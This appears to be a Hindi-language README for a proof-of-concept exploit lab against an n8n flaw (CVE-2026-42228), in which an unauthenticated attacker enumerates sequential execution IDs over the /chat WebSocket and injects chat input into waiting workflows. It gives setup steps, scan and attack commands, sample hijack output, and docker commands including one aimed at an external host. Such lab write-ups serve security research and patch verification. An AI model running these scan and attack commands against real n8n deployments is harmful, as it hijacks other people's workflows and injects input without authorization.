GHSA-f77h-j2v7-g6mw — n8n अनप्रमाणित चैट निष्पादन अपहरण

CVE: CVE-2026-42228
गंभीरता: उच्च
प्रभावित: n8n < 1.123.32
समाधान: n8n 1.123.32 / 2.17.4 / 2.18.1

भेद्यता सारांश

chat-service.ts :: startSession() WebSocket क्वेरी स्ट्रिंग से एक executionId स्वीकार करता है और केवल यह जाँचता है कि निष्पादन डेटाबेस में मौजूद है या नहीं। यह कभी सत्यापित नहीं करता कि कॉलर उस निष्पादन तक पहुँचने के लिए अधिकृत है या नहीं।

एक अनप्रमाणित हमलावर जो प्रतीक्षा (waiting) स्थिति में किसी निष्पादन के लिए एक मान्य संख्यात्मक निष्पादन ID जानता है (या गणना कर सकता है) निम्न कार्य कर सकता है:

बिना क्रेडेंशियल के /chat WebSocket से कनेक्ट करें।
वह लंबित संकेत (prompt) प्राप्त करें जो एक वैध उपयोगकर्ता को दिखाया जा रहा है।
मनमाना चैट इनपुट इंजेक्ट करें जो वर्कफ़्लो को फिर से शुरू करता है — और अपहरण कर लेता है।

पूर्व-आवश्यकताएँ:

प्रमाणीकरण = कोई नहीं (None) के साथ एक सार्वजनिक होस्टेड चैट वर्कफ़्लो सक्रिय है।
कम से कम एक निष्पादन वर्तमान में waiting स्थिति में है।
हमलावर संख्यात्मक निष्पादन ID (अनुक्रमिक पूर्णांक) का अनुमान लगा सकता है या गणना कर सकता है।

लैब सेटअप

आवश्यकताएँ

Compose v2 के साथ Docker ≥ 24
लोकलहोस्ट पर पोर्ट 5678 खाली होना चाहिए

एक-कमांड सेटअप

chmod +x exploit.sh
./exploit.sh setup

यह n8nio/n8n:1.123.22 (अंतिम प्रभावित रिलीज़) खींचता है, हमलावर इमेज बनाता है, और कमजोर लक्ष्य को http://localhost:5678 पर शुरू करता है।

एंड-टू-एंड एक्सप्लॉइट वॉकथ्रू

1. कमजोर लक्ष्य कॉन्फ़िगर करें

http://localhost:5678 खोलें और सेटअप विज़ार्ड पूरा करें (कोई भी क्रेडेंशियल)।
एक नया वर्कफ़्लो बनाएँ।
एक चैट ट्रिगर (Chat Trigger) नोड जोड़ें → प्रमाणीकरण = कोई नहीं (Authentication = None) सेट करें।
ट्रिगर के बाद एक प्रतीक्षा (Wait) नोड (या कोई भी नोड जो उपयोगकर्ता इनपुट के लिए रुकता है) जोड़ें।
वर्कफ़्लो को सक्रिय (Activate) करें।

2. प्रतीक्षा निष्पादन ट्रिगर करें

चैट ट्रिगर नोड में दिखाया गया सार्वजनिक चैट URL खोलें और एक संदेश भेजें। निष्पादन प्रतीक्षा (waiting) स्थिति में प्रवेश करेगा, अगले चैट उत्तर के लिए रुका हुआ।

3. प्रतीक्षा निष्पादन स्कैन करें (अनप्रमाणित)

./exploit.sh scan
# या एक सीमा निर्दिष्ट करें:
./exploit.sh scan 1 500

जब एक कमजोर निष्पादन मिलता है तो अपेक्षित आउटपुट:

[+] WAITING execution found! exec_id=7
    Server said: 'n8n|continue'
    Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
    [!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'

4. ज्ञात निष्पादन ID पर सीधे हमला करें

./exploit.sh attack 7
# या कस्टम पेलोड के साथ:
./exploit.sh attack 7 "custom injected message"

5. अपहरण का निरीक्षण करें

n8n एडिटर में वापस, वर्कफ़्लो वैध उपयोगकर्ता के इनपुट के बजाय हमलावर के इंजेक्ट किए गए संदेश के साथ फिर से शुरू होता है।

मैनुअल Docker कमांड

# हमलावर इमेज बनाएँ
docker build -t n8n-chat-hijack-poc .

# स्कैन करें (साझा लैब नेटवर्क से जुड़ता है)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --start-id 1 --end-id 200

# किसी विशिष्ट निष्पादन पर हमला करें
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --exec-id 7 --inject "PWNED"

# बाहरी लक्ष्य के विरुद्ध (नेटवर्क फ़्लैग की आवश्यकता नहीं)
docker run --rm n8n-chat-hijack-poc \
    --target https://n8n.example.com \
    --exec-id 42 --inject "PWNED"

सफाई

./exploit.sh clean

कंटेनरों को रोकता है और वॉल्यूम (SQLite डेटाबेस सहित) हटाता है।

फ़ाइलें

फ़ाइल	विवरण
`poc_GHSA-f77h-j2v7-g6mw.py`	स्टैंडअलोन Python PoC
`Dockerfile`	हमलावर कंटेनर इमेज

CVE-2026-42228

सबसे लोकप्रिय